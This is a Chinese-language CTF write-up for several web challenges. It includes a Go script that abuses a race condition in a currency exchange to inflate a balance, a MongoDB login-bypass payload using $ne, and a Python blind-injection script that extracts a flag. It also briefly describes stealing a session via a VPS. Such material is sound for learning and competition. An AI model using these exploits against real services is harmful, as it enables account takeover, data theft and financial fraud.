Warmup

访问时明显有个跳转,用burp拦截一下 image.png

Bitkoff Bank

发现btc/usd互转的时候会给usd加钱,就写了个go程序来跑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package main

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"regexp"
	"strings"
)

var url = "http://95.179.148.72:8083/index.php"

func main() {
	go btc2usd("0.00009", true)
	for j:=0; j < 100; j++ {
		usd2btc("0.9")
		_, b := getmoney()
		btc2usd(b, false)
		fmt.Println(getmoney())
	}
	_, b := getmoney()
	btc2usd(b, false)
	fmt.Println(getmoney())
	fmt.Println("done")

}

func getmoney() (string, string) {
	client := &http.Client{}
	req,_ := http.NewRequest("POST",url,strings.NewReader(""))
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.Header.Set("Cookie","name=catcat; password=catcat")
	resp2, _ := client.Do(req)
	body, _ := ioutil.ReadAll(resp2.Body)
	r := regexp.MustCompile("Your USD: <b>(.*)</b><br>Your")
	usd := r.FindStringSubmatch(string(body))[1]
	r = regexp.MustCompile(">Your BTC: <b>(.*)</b><br>")
	btc := r.FindStringSubmatch(string(body))[1]
	return usd, btc
}


func btc2usd(amount string, l bool) {
	client := &http.Client{}
	req,_ := http.NewRequest("POST",url,strings.NewReader("from_currency=btc&to_currency=usd&amount="+amount))
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.Header.Set("Cookie","name=catcat; password=catcat")
	if l == true {
		for {
			client.Do(req)
		}
	} else {
		client.Do(req)
	}

}

func usd2btc(amount string) {
	client := &http.Client{}
	req,_ := http.NewRequest("POST",url,strings.NewReader("from_currency=usd&to_currency=btc&amount="+amount))
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	req.Header.Set("Cookie","name=catcat; password=catcat")
	client.Do(req)
}

这样大改能0.002/次增加usd

Caesaref

题目出了非预期,应该是cookie设置直接用header加了,登进去输入vps地址就能拿到session,然后换上session后show flag一下 image.png

NopeSQL

.git虽然404但加了个/ image.png 所以是骗人的404,用githack拉下来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?php
require_once __DIR__ . "/vendor/autoload.php";

function auth($username, $password) {
    $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
    $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
    $document = $collection->findOne(json_decode($raw_query));
    if (isset($document) && isset($document->password)) {
        return true;
    }
    return false;
}

$user = false;
if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
    $user = auth($_COOKIE['username'], $_COOKIE['password']);
}

if (isset($_POST['username']) && isset($_POST['password'])) {
    $user = auth($_POST['username'], $_POST['password']);
    if ($user) {
        setcookie('username', $_POST['username']);
        setcookie('password', $_POST['password']);
    }
}

?>

<?php if ($user == true): ?>

    Welcome!
    <div>
        Group most common news by
        <a href="?filter=$category">category</a> |
        <a href="?filter=$public">publicity</a><br>
    </div>

    <?php
        $filter = $_GET['filter'];

        $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;

        $pipeline = [
            ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
            ['$sort' => ['count' => -1]],
            ['$limit' => 5],
        ];

        $filters = [
            ['$project' => ['category' => $filter]]
        ];

        $cursor = $collection->aggregate(array_merge($filters, $pipeline));
    ?>

    <?php if (isset($filter)): ?>

        <?php
            foreach ($cursor as $category) {
                    printf("%s has %d news<br>", $category['_id'], $category['count']);
            }
        ?>

    <?php endif; ?>

<?php else: ?>

    <?php if (isset($_POST['username']) && isset($_POST['password'])): ?>
        Invalid username or password
    <?php endif; ?>

    <form action='/' method="POST">
        <input type="text" name="username">
        <input type="password" name="password">
        <input type="submit">
    </form>

    <h2>News</h2>
    <?php
        $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
        $cursor = $collection->find(['public' => 1]);
        foreach ($cursor as $news) {
            printf("%s<br>", $news['title']);
        }
    ?>

<?php endif; ?>

mongodb注入,之前没碰过mongodb,极速学习… 首先auth函数中直接采取拼接字符串的方式构造json,可以用"来进行逃逸

1
2
username: admin
password: ","password":{"$ne":"a"},"username":"admin

这样就能查找用户名为admin and 密码不是a的记录,肯定有的,所以顺利登进去 image.png 这里的逻辑对应的是

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
    <?php
        $filter = $_GET['filter'];

        $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;

        $pipeline = [
            ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
            ['$sort' => ['count' => -1]],
            ['$limit' => 5],
        ];

        $filters = [
            ['$project' => ['category' => $filter]]
        ];

        $cursor = $collection->aggregate(array_merge($filters, $pipeline));
    ?>

$filters猜测是和group by差不多的作用,通过fuzz,发现category还能是$_id$text$title 但是因为['$limit' => 5],所以不能直接用$text把flag内容打出来 于是猜想filter[$ne] = xxx行不行,发现直接500了,为了知道报错是什么,本地搭了个环境 image.png

发现是需要两个参数,于是构造filter[$ne][0]=$public&filter[$ne][1]=1 image.png 发现没报错了,但是怎么都没变化,换个字段试试,比如category 本地所有的category image.png image.png image.png

1
['$project' => ['category' => [$ne => ["category", "asdasd"]]]]

可以,这不就可以用来盲注吗 盲猜数组的构造 于是写了个脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import requests

url = "http://173.199.118.226/index.php?filter[$gt][0]=$text&filter[$gt][1]="
cookie = {
    "username": "admin",
    "password": '","password":{"$ne":"a"},"username":"admin'
}

res = ""
for j in range(50):
    for i in range(33,127):
        s = chr(i)
        print s
        r = requests.get(url+res+s, cookies=cookie)
        # print r.text
        if "1 has" not in r.text:
            res += chr(i-1)
            print "----->",res
            break

image.png

最后一个|改成}就好了